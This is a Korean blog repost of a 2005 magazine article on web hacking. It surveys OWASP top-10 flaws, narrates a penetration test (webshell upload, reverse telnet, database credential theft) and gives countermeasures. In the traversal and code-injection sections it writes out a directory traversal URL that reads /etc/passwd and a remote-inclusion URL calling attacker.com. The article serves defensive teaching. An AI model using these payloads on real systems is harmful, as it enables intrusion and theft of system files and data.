|
참조 : http://www.hackerschool.org/HS_Boards/data/Lib_web/1144377079/danger_web_hacking.txt 보안 컨설팅 업체들이 금융권, 공공기관, 대기업 등 다수의 사이트에 대해 모의해킹(Penetration Test : 침투 테스트)을 수행해 본 결과에 따르면 최근의 해킹 수법은 많은 변화를 거듭하고 있다. 버그 트랙을 최초로 만든 Aleph One이 지난 1996년 ‘phrack’이라는 해커 잡지에 ‘Smashing The Stack For Fun And Profit’이라는 제목으로 버퍼 오버플로우 공격에 대해 처음 공개한 이후 이와 관련된 많은 공격이 나왔다. 이후 포멧 스트링 버그, 레이스 컨디션 취약점 등 시스템과 네트워크에 대한 공격이 주를 이루었다. 특히 그 시절에는 국내 보안 시장이 아직 활성화되지 않았고 방화벽(침입차단시스템)이나 IDS(침입탐지시스템)와 같은 보안 솔루션이 없었던 시절이었기 때문에 주로 시스템에 대한 해킹이 이루어졌다. 그러나 최근에는 대기업부터 중소기업까지 방화벽과 IDS를 도입하면서 실제로 외부에서 원격으로 시스템의 취약한 데몬을 이용한 공격이 의미가 없어지면서 공격 시도도 점차 줄어들었다. 웹이 사용하는 80번 포트를 제외하면 다른 포트들을 다 막아놓기 때문이다. 이렇게 되자 해커들은 대상 시스템을 침투하기 위해 80번 웹 포트를 집중 공략하고 있다. 80번 웹 포트는 정상적으로 서비스가 되는 포트이므로 기본적으로 열어야 하며 공격에 대한 탐지나 징후를 알기 힘들다는 단점이 있다. 이처럼 80 포트를 이용한 공격 기법들이 등장하고, 다양한 침해사고가 발생하자 점차 웹 해킹에 대한 대응책을 마련하는 움직임이 시작됐다. 여기서는 웹을 이용한 공격 방법들은 어떤 것이 있으며 실제 웹을 통한 시스템 침투과정을 보여주고 대응 방안을 살펴본다. 웹 애플리케이션 10대 취약점 모의해킹을 수행하면서 웹 서버의 취약점에 대해 통계를 내보면 ‘파일 업로드 취약점’과 ‘SQL 인젝션(Injection) 취약점’이 가장 많았다. 이 두 가지는 직접적으로 시스템 권한과 데이터베이스의 내용을 추출할 수 있는 위험한 취약점이다. 이밖에도 사용자의 쿠키 정보를 가져오는 크로스 사이트 스크립트(XSS) 취약점, 디렉토리 내의 파일 목록을 열람할 수 있는 디렉토리 리스팅 취약점, 상위 디렉토리로 올라가서 시스템 파일을 가져올 수 있는 디렉토리 탐색(Directory Tra versal) 취약점, 쿠키 조작, 리버스 텔넷 등 다양한 웹 해킹 기법이 존재한다. 개방형 웹 애플리케이션 보안 프로젝트(OWASP)에서는 <표 1>과 같이 가장 심각한 웹 애플리케이션 취약점과 데이터베이스 보안 취약점 10가지를 매년 발표하고 있다(OWASP는 웹 애플리케이션 보안에 비전을 가지고 있는 기업과 개인들이 자발적으로 참여한 오픈 프로젝트로 해킹 관련 다양한 자료와 툴을 제공하는 권위있는 단체다). 이 리스트는 대표적으로 웹에서 일어날 수 있는 취약점들에 대한 것들로 해킹을 방지하는데 매우 유용하다. 입력값 검증 부재(A1)를 이용한 해킹 방법에는 URL 강제 접속, 명령어 삽입, 크로스 사이트 스크립팅, 버퍼 오버플로우, 포맷 스트링 공격, SQL 구문 삽입, 쿠키 조작, 히든 필드 조작 등 다양하다. 실제 모의해킹을 해 보면 입력 값 검증 부재로 인해 웹 애플리케이션이 공격당하는 경우가 상당히 많은데, 가장 쉬우면서도 심각한 피해를 입히는 파일 업로드 공격도 게시판이나 자료실에 파일을 업로드하는 부분에서 파일 확장자에 대한 적절한 검증이 없어 공격자에게 웹 서버의 권한을 주고 있다. 취약한 접근 통제 취약점(A2)을 이용하는 대표적인 경우는 관리자 페이지가 노출되는 것이다. 실제 많은 웹 사이트에는 원격에서 웹 사이트를 관리할 수 있는 관리자 페이지가 존재한다. 그러나 관리자 페이지가 어떤 인증도 없이 외부에 노출돼 있으면 공격자는 쉽게 관리자 페이지에 접근을 할 수 있다. 관리자 페이지에는 보통 아이디와 패스워드를 통해 인증을 거치지만 관리자 페이지 내에 존재하는 페이지에 대해서는 인증을 거치지 않는 경우도 종종 있다. 또한 관리자 로그인 페이지가 누구에게나 드러나 있기 때문에 공격자는 SQL 구문 삽입 공격이나 관리자 계정/패스워드 추측 공격을 통해 관리자 권한으로 웹 사이트에 접속할 수 있는 경우도 많다. <표1> 웹 애플리케이션 10대 취약점
취약한 인증 및 세션 관리(A3)를 이용한 공격 기법에는 다른 사용자의 세션을 가로채 이를 도용하는 세션 하이재킹 공격이 있다. 금융권이나 은행권 같은 곳은 공인인증서를 기반으로 사용자 인증을 하지만 일반적인 사이트들은 단순히 아이디와 패스워드 만으로 인증을 한다. 또한 로그인한 후 사용자의 쿠키나 세션 값을 보면 웹 서버에서 제공하는 세션 값이 아닌 개발자들이 자체적으로 사용자를 인증하거나 식별하기 위한 쿠키 값들을 제공하는 경우가 있다. 문제는 이런 쿠키 값에 사용자의 중요한 정보, 예를 들면 이름, 사번, 심지어 주민등록번호가 포함된 사례도 많다는 것이다. 이 취약점은 XSS 취약점과 같이 사용되는 경우가 많으며 보통 공격자는 XSS 취약점으로 다른 사용자의 쿠키 값을 추출한 후 이를 이용해 다른 사용자의 정보를 열람하거나 그 사용자로 웹 사이트를 이용한다. XSS 취약점(A4)을 이용해 공격하는 방법에는 사용자의 세션 쿠키 값을 유출하거나 다른 페이지, 사이트로의 강제 이동 혹은 현재 보여지는 내용을 변조하는 것 등이 있다. XSS 취약점은 웹 서버에 직접적인 피해를 입히지는 않고 XSS 취약점이 존재하는 사이트 방문자를 중점적으로 공격한다. XSS는 금융정보를 빼가는 공격 방법인 피싱(phishing)에도 사용되는데, 예를 들어 공격자는 특정 사용자에게 메일을 보내 사용자가 메일을 열람하면 특정 은행 사이트가 뜨며 사용자에게 공인인증서 기간이 만료되었다며 계속 사용하려면 개인정보를 입력해라고 하는 페이지를 출력한다. 일반 사용자는 아무런 의심없이 개인정보를 입력할 것이고 이 정보는 고스란히 공격자 손에 들어간다. 버퍼 오버플로우(A5)는 이미 유닉스 시절부터 존재하던 취약점이다. OS에서부터 아주 작은 프로그램에까지 존재할 수 있는 취약점이며 웹 애플리케이션에서도 마찬가지다. 버퍼 오버플로우는 프로그래머가 프로그램을 만들 때 버퍼의 크기를 정하고 사용자의 입력을 받을 때 적절히 버퍼의 크기보다 더 많이 들어오는 입력 값을 검증하지 않아 발생하는 취약점이다. 공격자는 이를 이용해 프로그램의 흐름을 변경시켜 공격자가 원하는 명령어를 실행하도록 한다. 모의해킹 시 실제 웹 애플리케이션에 존재하는 버퍼 오버플로우 취약점을 분석하고 공격하는 경우는 드물다. 상용 애플리케이션에서 공개된 버퍼 오버플로우 공격은 가능하지만, 보통 모의해킹에는 시간적 제약이 많기 때문에 특정 애플리케이션에 대해 버퍼 오버플로우 취약점을 찾고 공격하기란 쉽지 않다. 물론 윈도우 IIS 웹서버나 아파치 웹 서버에서도 버퍼 오버플로우 취약점이 존재하므로 이를 이용해 원격에서 웹 서버 권한을 획득하기도 한다. 삽입 취약점(A6)에 해당하는 공격 방법에는 크게 SQL 삽입 공격, 소스코드 삽입 공격이 있다. 일반적으로 홈페이지는 사용자 인증을 위해 로그인 부분이나 새로운 사용자를 등록하는 부분, 게시판이나 자료실 내용을 보여주는 부분 등 많이 부분이 데이터베이스와 연동돼 있는데, 필자가 모의해킹을 했던 많은 사이트들도 이처럼 웹과 데이터베이스가 연동된 부분에서 사용자 입력 값을 적절하게 제어하지 않아 데이터베이스 내용을 열람하거나 심지어 시스템 권한까지 획득할 수 있는 경우가 있었다. 부적절한 에러 처리(A7)는 공격자가 임의로 웹 애플리케이션에 에러가 발생하도록 특정한 동작을 해 웹 애플리케이션이 정상적으로 처리하지 못하고 에러를 발생하면서 다양한 정보를 노출하도록 유도하는 취약점이다. 필자가 자주 사용하는 방법 중에서 특정 URL 변수에 특정 문자를 입력하거나 추가했을 때 웹 애플리케이션이 이를 정상적으로 처리하지 못해 에러가 발생하도록 하는 기법이 있다. 보통 자바 처리를 할 때 Null Point Error나 MS SQL 에러, 오라클 에러, 톰켓 에러 등을 통해 웹 애플리케이션에 대한 정보를 수집한다. 취약한 정보 저장 방식(A8) 취약점은 대표적으로 웹에서 데이터베이스와 연동되는 소스코드가 그대로 노출되는 경우다. 예전부터 논란이 되던 것으로 데이터베이스와 연동하는 파일인 dbconn.inc와 같은 파일이 웹 서버 디렉토리에 있다면 공격자는 dbconn.inc 파일을 그대로 웹에서 열람해 데이터베이스에 접근하는 정보를 획득한다. 또한 암호화 알고리즘을 사용하는 경우에도 암호화에 사용되는 키나, 비밀번호, 인증서 등을 공격자가 추출하기 쉬운 곳에 보관하면 공격자가 어렵지 않게 중요한 정보에 접근할 수 있다. 실제 모의해킹을 해보면 이와 같은 취약점은 앞서 설명한 SQL 인젝션이나 파일 업로드 취약점들보다 발견되는 빈도가 낮다. 그러나 얼마 전 모의해킹을 하면서 내부 시스템에 접근했을 때는 데이터베이스와 연동하는 코드가 자체 암호화 알고리즘을 이용해 접속 정보를 암호화해 보관하고 있었다. 그러나 실제 다른 소스코드 내에 암호화 알고리즘을 복호화하는 정보가 존재해 있어 필자는 그 소스코드를 바탕으로 어렵지 않게 복호화해 데이터베이스 접근 정보를 수집, 중요 데이터베이스에 접근할 수 있었다. 공격자가 서비스 방해 공격(DoS)(A9)을 이용하면 사용자의 계정을 잠그거나 웹 서비스를 하지 못하게 할 수 있다. 단적인 예가 얼마전 일본의 교과서 왜곡 사건이 발생했을 때 우리나라 네티즌들이 특정 사이트를 방문해 <F5>를 눌러 엄청난 트래픽을 유발시켜 다른 사용자들이 그 사이트에 접속하지 못하도록 한 사건이다. 모의해킹을 할 때에는 일반적으로 DoS를 시도하지 않는다. DoS를 막을 방안도 마땅히 없을뿐만 아니라 실제 침입의 관점에서 보면 DoS는 기술적으로 그리 심각한 위협이 아니다. 그러나 지난 2001년 초 야후나 이베이가 DoS를 당해 금전적으로 수천억 원의 피해를 입은 적이 있다. 부적절한 환경 설정(A10)에 해당하는 취약점은 디렉토리 리스팅, 디렉토리 탐색 등이 있다. 디렉토리 리스팅 취약점은 실제 모의해킹에서 많이 볼 수 있으며 디렉토리 탐색 취약점(국내에선 흔히 파일 다운로드 취약점이라고 부른다) 역시 시스템의 중요한 파일을 가져오는데 자주 사용된다. 일반적으로 자료실에서 파일을 다운로드할 때 파일명에 ‘../../../etc/passwd’와 같이 입력해 상위 디렉토리로 이동한 후 특정 중요 파일을 가져오는 방식으로 악용된다. 실전 웹 해킹 데모 이제 실제 웹 해킹 과정과 그 대응방안을 살펴보도록 하자. 해킹의 1차적인 과정은 <그림 1>처럼 대상에 대한 정보를 수집하는 것이다. 대상 시스템에 대한 웹 스캔, 포트 스캔, 또는 애플리케이션의 종류나 운영체제의 종류, 버전 등을 확인하는 것이다. 이런 정보를 바탕으로 대상 시스템의 취약점 분석에 들어간다. 운영체제의 종류나 버전에 따라서 존재하는 취약점을 조사하고 웹 서버에 올라와 있는 애플리케이션에 대한 취약점, 웹의 구조를 파악해 실제 어떤 취약점이 있는지를 찾는다. 조사를 마쳤으면 이제 대상 시스템에 존재하는 취약점을 바탕으로 실제 공격에 들어간다. 크게 원격에서 공격하는 리모트 어택과 로컬에서 권한을 획득하는 로컬 어택이 있다. 이를 통해 공격자가 원하는 목적(시스템 관리자 권한 획득 또는 사용자 정보 추출)을 달성한다. 마지막으로 사후 처리를 하는 데 악의적인 공격자라면 침투한 로그를 삭제한 후 네트워크 트래픽을 감시하고 분석하는 프로그램인 스니퍼를 설치한다. 보안 컨설팅 과정 중 모의해킹 수행 시에는 보고서를 작성해 담당자에게 전달해 취약점을 패치하고 보안 대책을 수행하도록 조언한다. 정보 수집 공격할 대상을 선정하고 대상에 대한 다양한 정보를 수집했다고 해서 바로 공격에 들어가는 것은 아니다. 대기업이나 금융권 등 큰 기업들은 보통 방화벽이나 IDS를 운영하고 있으므로 웹 스캔이나 포트스캔 공격은 곧바로 탐지, 로깅된다. 그러나 중소 쇼핑몰과 같은 비교적 작은 사이트는 방화벽이나 IDS가 없는 경우가 많다. 여기서는 일반적으로 사용하는 웹 스캐닝을 통해 웹 서버에 존재하는 취약점을 찾는 과정을 보여준다. 웹 스캐너는 프리웨어부터 상용 프로그램까지 다양하지만 보통 해커들은 nikto라는 프로그램을 자주 사용한다. 웹 스캐닝의 원리는 <그림 2>와 같다. 대상 시스템에 HTTP 요청을 하면 대상 시스템은 요청에 대한 응답을 보낸다. 공격자는 응답에 대한 리턴 코드를 바탕으로 페이지가 존재하는지, 존재하지 않는지 또는 접근 제어가 걸려 있는지를 파악한다. <화면 1> 대상 시스템에 웹 스캐닝을 하는 화면 <화면 2> 관리자 로그인 페이지에 접속한 화면 <그림 1> 일반적인 공격 절차 <그림 2> 스캐닝 원리 화면 <화면 3> 파일 업로드 게시판에 공격 프로그램을 업로드하는 화면 <화면 4> 공격 프로그램이 정상적으로 업로드된 화면 <화면 5> 공격 프로그램을 이용해 시스템 내부 명령어를 실행한 화면 <그림 3> 리버스 텔넷 구성도 분석과 공격 웹 스캐닝을 통해 웹 서버의 버전이나 정보들을 수집했다면 이제부터는 <화면 2>와 같이 웹 브라우저를 이용해 관리자 페이지에 접근을 시도한다. 필자가 모의해킹하면서 보안이 잘 되어 있는 사이트는 게시판이나 자료실에 파일을 업로드할 수 있는 부분이 없고 관리자 페이지에서만 파일을 업로드할 수 있게 돼 있었다. <화면 3>은 게시판에 있는 파일 업로드 부분에 공격 프로그램을 업로드한 화면이다. 업로드 파일에 대한 확장자 제한 등 특별한 관리 정책이 없다면 <화며 4>와 같이 첨부된 파일이 웹 서버에 정상적으로 등록된다. <화면 5>는 업로드한 파일을 웹에서 실행한 결과이다. 웹에서 ipconfig 명령어를 입력하면 시스템 명령어 결과가 나타나는 것을 확인할 수 있다. 흔히 공격자는 더 편리하게 작업하기 위해 <그림 3>과 같이 리버스 텔넷이라는 기법을 통해 대상 시스템의 커맨드 셸을 공격자에게 띄운다. 리버스 텔넷이란 일반적인 텔넷의 반대말로, 방화벽 때문에 텔넷 접속이 불가능한 경우 역으로 웹 서버에서 공격자 컴퓨터로 특정 포트를 이용해 연결을 시도하는 것이다. 일반적으로 방화벽은 인바운드(Inbound)에 대해 모두 막는 정책을 취하지만 내부에서 외부로 나가는 것은 허용하기 때문이다. 필자 역시 수십 군데 사이트를 모의해킹하면서 아웃바운드(Outbound)까지 제어가 된 곳은 한 두 군데 정도였다. <화면 6>은 리버스 텔넷을 이용해 공격자가 대상 시스템의 커맨드 셸을 획득한 화면이다. 공격자 컴퓨터의 IP 주소는 10.10.10.86인데 리버스 텔넷에 성공한 후 공격자 커맨드 셸에는 피해 컴퓨터의 IP 주소인 192.168.2.10가 나타나는 것을 알 수 있다. <화면 7>은 이렇게 접속한 이후 데이터베이스에 대한 정보 파일을 열람한 화면이다. DB 이름과 사용자 이름 그리고 접속 패스워드와 주소를 고스란히 확인할 수 있다. <화면 8>은 추출한 DB 접속 정보를 바탕으로 MS SQL DB에 접속한 화면이다. 보안이 취약한 사이트라면 공격자는 이처럼 간단하게 DB 내용을 열람할 수 있다. 실제 모의 해킹 시에는 DB 서버가 내부 네트워크에 존재하는 경우가 많다. 그래서 MS SQL의 쿼리 분석기를 이용해 DB 서버가 사용하는 1433 포트로 접근할 수 없다. 보통 방화벽에서 1433 포트와 같은 외부에서 접속할 필요가 없는 포트는 막아두기 때문이다. 그래서 필자는 보통 웹에서 DB와 연동하는 소스코드를 분석해 DB 접속 코드를 만들고 이를 웹으로 실행해 그 결과를 보곤 한다. 웹 해킹 대응방안 그렇다면 이런 해킹의 위협에 어떻게 대응해야 할까. 먼저 앞서 살펴본 파일 업로드 취약점에 대한 대응방안을 알아보자. 이 취약점은 공격자가 웹 사이트에 있는 게시판이나 자료실의 파일 업로드 기능을 이용해 공격자가 만든 특정 공격 프로그램을 업로드해 웹 서버의 권한을 획득하는 방법이다. 공격에 성공하면 웹 서버 권한을 획득하며 이미 살펴본 것처럼 웹 서버 권한으로 시스템 내부 명령어를 실행할 수 있다. 이를 막기 위해서는 게시판이나 자료실과 같이 파일 업로드 기능에는 반드시 파일의 확장자를 필터링해야 한다. 필터링하는 확장자는 대소문자의 조합의 경우(.jsp와 .jSp와 같이)를 모두 포함시켜야 하며, 필터링 코드를 자바스크립트와 같이 클라이언트 사이드 스크립트 언어에서 적용하면 공격자가 우회할 수 있으므로 반드시 서버 사이드 스크립트 언어인 ASP나 JSP에서 필터링 코드를 추가해야 한다. 이밖에도 웹 해킹에 실제 웹 해킹에 사용되는 취약점은 다양하다. 일반적으로 일어나는 웹 취약점에 대한 대응방법을 살펴보자. SQL 인젝션 취약점 SQL 인젝션이란 웹 상에서 사용자의 입력을 받는 부분에 SQL 구문을 삽입해 DB 내용을 열람하거나 DB와 관련된 명령어를 실행할 수 있는 취약점이다. 보통 사용자 로그인 부분이나, 검색 부분, 우편번호 찾기 등 웹 서버와 DB 서버 간에 연동이 되는 부분에 사용자 입력 값에 대한 필터링이 없을 경우 SQL 인젝션 공격에 노출될 위험이 높다. 사용자 로그인을 우회해 로그인한 후 데이터베이스 내에 있는 테이블 내용을 열람하거나, MS SQL에서는 확장 프로시저를 이용해 시스템 명령어를 실행할 수 있다. SQL 인젝션 취약점에 대한 가장 근본적인 대책은 사용자 입력에 대해서 유효성을 검사하는 것이다. 예를 들어 DB와 연동되는 부분인 로그인이나 우편번호 검색, 게시판 등에는 작은 따옴표나 대시(-), 큰 따옴표, 세미콜론과 같이 SQL 구문에 사용되는 문자열은 입력하지 못하게 해야 한다. 이미 언급한 것처럼 이런 필터링 규칙은 자바스크립트와 같은 클라이언트 사이드 스크립트 언어로 작성하면 우회할 수 있으므로 반드시 JSP나 ASP와 같은 서버 사이드 스크립트 언어에서 필터링해야 한다. XSS 취약점 XSS 취약점은 웹 서버에서 특정한 동적 입력을 받아 웹 서버의 정보가 공격자에게 유출되는 취약점이다. 일반적으로 게시판이나 자료실 등 사용자의 입력을 받는 부분에 특정 스크립트 코드를 입력해 두고 이 게시물을 다른 사용자가 볼 경우 사용자의 쿠키 정보가 공격자에게 유출된다. 공격자는 추출한 사용자의 쿠키 값을 이용해 Reply Attack 등을 통해 다른 사용자로 위장할 수 있다. 이에 대응하기 위해서는 파일 업로드 취약점이나 SQL 인젝션 취약점과 마찬가지로 사용자 입력 값에 대한 유효성을 검사해야 한다. 일반적으로 공격자는 <script> 태그를 이용해 공격하므로 <script> 문자열이 들어오면 <xxscript>나 다른 문자로 변환해 스크립트 태그가 실행되지 않도록 설정해야 한다. 공격자는 <script> 태그 외에 다양한 기법을 이용해 공격하기 때문에 필터링을 할 것들을 정해서 막는 ‘negative defence’가 아닌 입력 가능한 문자만 정한 뒤 다른 문자가 들어왔을 때 전부 막는 ‘positive defence’를 하는 것이 좋다. <화면 6> 리버스 텔넷을 이용해 원격 커맨드 셀을 획득한 화면 <화면 7> DB 접속용 정보를 열람 하는 화면 <화면 8> MSSQL Db에 접속한 화면 <화면 9> 아파치 설정 파일 화면 <화면 10> 디렉토리 리스팅이 금지된 화면 관리자 페이지 노출 문제 웹 사이트를 관리하기 위해 존재하는 관리자 페이지는 외부 어디서든 접근할 수 있어 기본적으로 위험하다. 보통 관리자 페이지는 아이디와 패스워드 기반으로 인증을 거치지만 관리자 패스워드 추측이나 SQL 인젝션을 통해 로그인 우회 공격을 받을 가능성이 있다. 일차적으로 조취를 취할 수 있는 가장 간단히 방법은 관리자 디렉토리 명을 /admin/, /manager/, /adm/ 과 같이 추측하기 쉬운 디렉토리 명으로 하지 않는 것이다. 관리자만이 알 수 있는 고유한 디렉토리 명을 이용해 공격자가 추측하지 못하게 해야 한다. 관리자 이외의 IP에 대해서는 디렉토리 접근 제어를 설정하는 방법도 있다. 이렇게 관리자 페이지를 외부 악의적인 사용자에게 노출하지 않음으로써 공격자가 원천적으로 관리자 페이지에 접근할 수 없도록 제한한다. 디렉토리 리스팅 취약점 디렉토리 리스팅 취약점은 웹 서버 설정상의 오류로 인해 발생하는 취약점이다. http://www.victim.com/admin/과 같이 특정 디렉토리를 브라우저에서 열었을 때 그 디렉토리에 있는 모든 파일들과 디렉토리 목록이 나열된다. 악의적인 사용자는 디렉토리 리스팅 취약점을 이용해 디렉토리에 어떠한 파일이 있는지 파악할 수 있다. 이에 대한 대응방안은 아파치와 톰캣을 사용하는 두 가지로 구분해 살펴볼 수 있다. 먼저 아파치의 경우 레드햇 9을 설치하면 기본적으로 디렉토리 리스팅 취약점이 존재한다. 레드햇 9에 설치돼 있는 아파치에서는 <화면 9>와 같이 httpd.conf 파일에서 Document Root Directory가 있는 <Directory> 부분에 indexes를 삭제하면 된다. 이렇게 처리한 후 디렉토리 리스팅을 시도하면 <화면 10>과 같이 리스팅이 금지된다. 톰켓을 사용한다면 톰캣 홈 디렉토리 아래에 있는 /conf/ 디렉토리의 web.xml 파일 설정을 변경해야 한다. <화면 11>처럼 web.xml 파일에서 listings 부분의 값을 true에서 false로 수정하면 디렉토리 리스팅을 막을 수 있다. 파일 다운로드(Directory Traversal, 파일 탐색) 취약점 디렉토리 탐색 취약점(파일 다운로드 취약점)은 자료실에 올라간 파일이나 웹에서 파일을 다룰 때 파일 명을 적절하게 체크하지 않아 공격자가 ‘../’와 같은 파일명 앞에 상위 디렉토리로 올라가는 문자를 입력해 ‘../../../../../../etc/passwd’와 같이 시스템의 중요한 파일을 다운로드할 수 있는 취약점이다. 보통 파일을 다운받을 때 전용 다운로드 프로그램을 이용해 다음과 같이 입력한다. http://www.domain.com/bbs/download.jsp?filename=테스트.doc 그러나 여기서 테스트.doc 대신 다음과 같이 시도하면 etc/passwd 파일을 다운로드할 수 있다. http://www.domain.com/bbs/download.jsp?filename=../../../../../../../etc/passwd 이를 막기 위해서는 파일을 다운받는 전용 프로그램(이 사례라면 download.jsp)에서 파일명에 대한 필터링을 수행해 파일명에 ‘..’ 또는 ‘/’와 같은 문자열을 입력하지 못하도록 설정해야 한다. 파일명을 DB에 저장한 후 index를 이용해 불러오게 하는 방법도 있으며, 웹 서버 설정파일에서 웹 홈 디렉토리 이외의 파일은 접근하지 못하도록 설정하는 것도 좋다. 소스코드 인젝션 취약점 PHP의 특징인 외부 페이지 참조 기능이 활성화되어 있는 경우 외부 웹 서버에 저장된 PHP 소스코드가 특정 파일에 의해 읽혀지는 취약점이다. 이 취약점을 이용하면 원격에서 소스코드 인젝션을 통해 시스템 내부 명령어를 실행할 수 있다. http://www.target.com/test/test.cgi?dir=http://www.attacker.com/cgi-bin/ 이를 막기 위해서는 php.ini 파일에서 allow_url_fopen = On이라고 되어 있는 부분을 allow_url_fopen = Off로 설정하면 된다. 또한 파일 다운로드 취약점과 마찬가지로 사용자로부터 값을 넘겨받을 때 입력받는 값에 대한 필터링을 하는 방법도 있다. <화면 11> 톰켓의 설정 파일 화면 한국은 외국 해커의 놀이터? 지금까지 웹 해킹의 개념과 기술, 실전 웹 해킹 데모와 그리고 그에 대한 대응 방안들에 대해 살펴봤다. 웹 해킹은 고도의 지식을 요구하지 않는 반면, 그 피해나 파급효과는 엄청나다. 대부분의 웹 해킹이 이루어지는 것은 개발자들의 보안코드에 대한 지식이 부족하거나 관리 측면에서 패치를 하지 않았기 때문이다. 필자가 모의해킹을 하면서 IT 쪽으로 투자가 잘 되어 있는 기관이나, 금융권, 대기업의 웹 사이트를 컨설팅해 보았으나 상대적으로 보안이 많이 취약한 것을 볼 수 있었다. 요즘 들어서는 보안에 대한 인식과 생각이 예전보다 많이 좋아져서 보안 컨설팅을 한 번 이상 받은 고객 사이트들은 기본적인 웹 해킹의 취약점을 개선한 경우가 많다. 그렇지만 새로운 시스템을 도입하거나 개발이 진행되면 여전히 개발 기한을 맞추느라 보안 쪽은 상대적으로 신경쓰지 못하는 것도 사실이다. 국내 인터넷이 외국해커들의 놀이터라고 불리기 시작한 지 벌써 4~5년이 지났다. 특히 예전에는 해커나 크래커들이 주로 큰 시스템을 공격했으나 최근에는 윈도우 운영체제에 대한 취약점이 많이 나오면서 개인 PC 사용자들이 예전보다 한층 더 악의적인 해킹의 위험에 노출돼 있다. 이번 글에서 살펴본 내용을 토대로 개발자와 관리자 또는 일반 사용자들이 이와 같은 웹 해킹에 대한 취약점을 인식하고 스스로 보호할 수 있는 계기가 되었으면 한다. 디렉토리 접근 제어 설정하기 출처 : 마이크로소프트웨어 [2005년 4월] |
보안공부/웹해킹
웹 해킹의 세계
반응형
반응형
